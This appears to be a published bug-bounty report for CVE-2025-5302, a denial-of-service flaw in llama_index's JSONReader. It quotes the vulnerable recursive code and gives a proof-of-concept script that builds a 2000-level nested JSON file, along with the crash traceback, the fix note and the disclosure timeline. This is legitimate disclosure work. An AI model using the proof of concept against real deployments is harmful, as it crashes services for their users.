

Denial of Service(DOS) in JSONReader in run-llama/llama_index

✓ Valid

Reported on May 27th 2025

Description

There exists a denial of service vulnerability(DOS) that occurs by python hitting max recursion depth while parsing a deeply nested json file using `JSONReader`.

Vulnerable piece of code (https://github.com/run-llama/llama_index/blob/main/llama-index-core/llama_index/core/readers/json.py#L96-#L145)

```
def load_data(
    self, input_file: str, extra_info: Optional[Dict] = {}
) -> List[Document]:
    """Load data from the input file."""
    with open(input_file, encoding="utf-8") as f:
        load_data = []
        if self.is_jsonl:
            for line in f:
                load_data.append(json.loads(line.strip()))
        else:
            load_data = [json.load(f)]

    documents = []
    for data in load_data:
        if self.levels_back is None and self.clean_json is True:
            # If levels_back isn't set and clean json is set,
            # remove lines containing only formatting, we just format and m
            # line an embedding
            json_output = json.dumps(
                data, indent=0, ensure_ascii=self.ensure_ascii
            )
            lines = json_output.split("\n")
            useful_lines = [
                line for line in lines if not re.match(r"^\[{}\\[\],]*$", line)
            ]
            documents.append(
                Document(text="\n".join(useful_lines), metadata=extra_info)
            )

        elif self.levels_back is None and self.clean_json is False:
            # If levels_back isn't set and clean json is False, create doc
            json_output = json.dumps(data, ensure_ascii=self.ensure_ascii)
            documents.append(Document(text=json_output, metadata=extra_info))
```

```

elif self.levels_back is not None:
    # If levels_back is set, we make the embeddings contain the lab
    # from further up the JSON tree
    lines = [
        *_depth_first_yield(
            data,
            self.levels_back,
            self.collapse_length,
            [],
            self.ensure_ascii,
        )
    ]
    documents.append(
        Document(text="\n".join(lines), metadata=extra_info)
    )
return documents

```

so as you can see there is no limit on the recursive number of times `_depth_first_yield` function is called, and this is the implementation of the `_depth_first_yield` function (https://github.com/run-llama/llama_index/blob/main/llama-index-core/llama_index/core/readers/json.py#L11-#L49)

```

def _depth_first_yield(
    json_data: Any,
    levels_back: int,
    collapse_length: Optional[int],
    path: List[str],
    ensure_ascii: bool = False,
) -> Generator[str, None, None]:
    """
    Do depth first yield of all of the leaf nodes of a JSON.

    Combines keys in the JSON tree using spaces.

    If levels_back is set to 0, prints all levels.
    If collapse_length is not None and the json_data is <= that number
    of characters, then we collapse it into one line.

    """
    if isinstance(json_data, (dict, list)):
        # only try to collapse if we're not at a leaf node
        json_str = json.dumps(json_data, ensure_ascii=ensure_ascii)
        if collapse_length is not None and len(json_str) <= collapse_length:
            new_path = path[-levels_back:]
            new_path.append(json_str)
            yield " ".join(new_path)
            return
    elif isinstance(json_data, dict):
        for key, value in json_data.items():
            new_path = path[:]
            new_path.append(key)
            yield from _depth_first_yield(
                value, levels_back, collapse_length, new_path
            )

```

```

        elif isinstance(json_data, list):
            for _, value in enumerate(json_data):
                yield from _depth_first_yield(value, levels_back, collapse_length,
            else:
                new_path = path[-levels_back:]
                new_path.append(str(json_data))
                yield " ".join(new_path)

```

Basically a json file which has a lot of nested child elements would cause a max recursion depth limit error in python and there are no exception handlers in the codebase to handle this, so the program crashes.

Proof of Concept

Step-1) Create the malicious json file with 2000 nested child elements, run the following python code

```

import json
import sys

def create_malicious_json(filename, depth=2000):
    """
    Create a JSON file with a deeply nested dictionary, increasing recursion limit
    """
    original_limit = sys.getrecursionlimit()
    sys.setrecursionlimit(depth + 100)
    try:
        nested_dict = {}
        current = nested_dict
        for i in range(depth):
            current["key" + str(i)] = {}
            current = current["key" + str(i)]
        current["final"] = "end"

        with open(filename, "w", encoding="utf-8") as f:
            json.dump(nested_dict, f)
        print(f"Created malicious JSON file: {filename} with depth {depth}")
    except RecursionError:
        print("RecursionError during JSON file creation. Try reducing depth or incr
        sys.exit(1)
    except Exception as e:
        print(f"Error creating JSON file: {e}")
        sys.exit(1)
    finally:
        sys.setrecursionlimit(original_limit)

if __name__ == "__main__":
    malicious_file = "malicious.json"
    create_malicious_json(malicious_file, depth=2000)

```

Step-2) Use JSONReader to read the json file Run the following python file

```
from llama_index.core.readers.json import JSONReader

reader = JSONReader(levels_back=1)
documents = reader.load_data('malicious.json')
print("Loaded documents:", documents)
```

and as you can see the DOS is triggered.

```
Tue 27 May - 20:25 ~/W2/Research/AI/llama_index/exploits/4
$ python3 reader.py
Traceback (most recent call last):
  File "/home/winters/W2/Research/AI/llama_index/exploits/4/reader.py", line 4, in <module>
    documents = reader.load_data('malicious.json')
  File "/home/winters/.pyenv/lib/python3.13/site-packages/llama_index/core/readers/json.py", line 133, in load_data
    lines = [
      ...<7 lines>...
    ]
  File "/home/winters/.pyenv/lib/python3.13/site-packages/llama_index/core/readers/json.py", line 40, in _depth_first_yield
    yield from _depth_first_yield(
      value, levels_back, collapse_length, new_path
    )
  File "/home/winters/.pyenv/lib/python3.13/site-packages/llama_index/core/readers/json.py", line 40, in _depth_first_yield
    yield from _depth_first_yield(
      value, levels_back, collapse_length, new_path
    )
  File "/home/winters/.pyenv/lib/python3.13/site-packages/llama_index/core/readers/json.py", line 40, in _depth_first_yield
    yield from _depth_first_yield(
      value, levels_back, collapse_length, new_path
    )
[Previous line repeated 992 more times]
  File "/home/winters/.pyenv/lib/python3.13/site-packages/llama_index/core/readers/json.py", line 30, in _depth_first_yield
    json_str = json.dumps(json_data, ensure_ascii=ensure_ascii)
  File "/usr/lib/python3.13/json/__init__.py", line 238, in dumps
    **kw).encode(obj)
  File "/usr/lib/python3.13/json/encoder.py", line 200, in encode
    chunks = self.iterencode(o, _one_shot=True)
RecursionError: maximum recursion depth exceeded
(.pyenv)
```

To Fix

I really like llama_index as I use it in my daily workflow and would want to see it really secure so I'm willing to provide a fix for this bug if you guys want, a possible fix would be to introduce a `max_depth` check.

Note

This report is similar to: <https://huntr.com/bounties/27883f22-35ff-49df-aaa5-05031c7d6ad8> and <https://huntr.com/bounties/cd7b9082-7d75-42e4-84f5-dbee23cbc467>, In these reports the KnowledgeBase Web reader had the same uncontrolled recursion bug, the only difference in this report is the use of `JSONReader`.

Impact

This vulnerability can trigger excessive recursive function calls, exhausting Python's recursion limit, which leads to high resource consumption and may eventually crash the Python process.

⚙️ We are processing your report and will contact the [run-llama/llama_index](#) team within 24 hours. 8 months ago

🔗 A [GitHub Issue](#) asking the maintainers to create a SECURITY.md exists 8 months ago

✍️ Arun Krishnan modified the report 8 months ago

✓ **Massimiliano Pippi** validated this vulnerability 8 months ago

\$ **winters0x64** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 **CVE-2025-5302** assigned to this report. 8 months ago

Arun Krishnan commented 8 months ago

Researcher

Thank you so much for the fast response :)

✓ **Massimiliano Pippi** marked this as fixed in **0.12.38** with commit **c03284** 8 months ago

\$ **Massimiliano Pippi** has been awarded the fix bounty ✓

⚠ We have sent a warning to the **run-llama/llama_index** team to inform them that this report will be published in 48 hours 5 months ago

✉ We have notified the **run-llama/llama_index** maintainers about this report in their weekly follow-up 5 months ago

🔊 This vulnerability has now been published 5 months ago

👤 **CVE-2025-5302** has now been published 5 months ago

[Sign in](#) to join this conversation

CVE

CVE-2025-5302

Published

Vulnerability Type

CWE-674: Uncontrolled Recursion

Severity

High (8.6)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	Low
Availability	High

Registry
Pypi

Affected Version
v0.12.37

Visibility
Public

Status
Fixed

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



Arun Krishnan
@winters0x64
MIDDLEWEIGHT


Fixed by



Massimiliano Pippi
@masci
UNPROVEN


Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

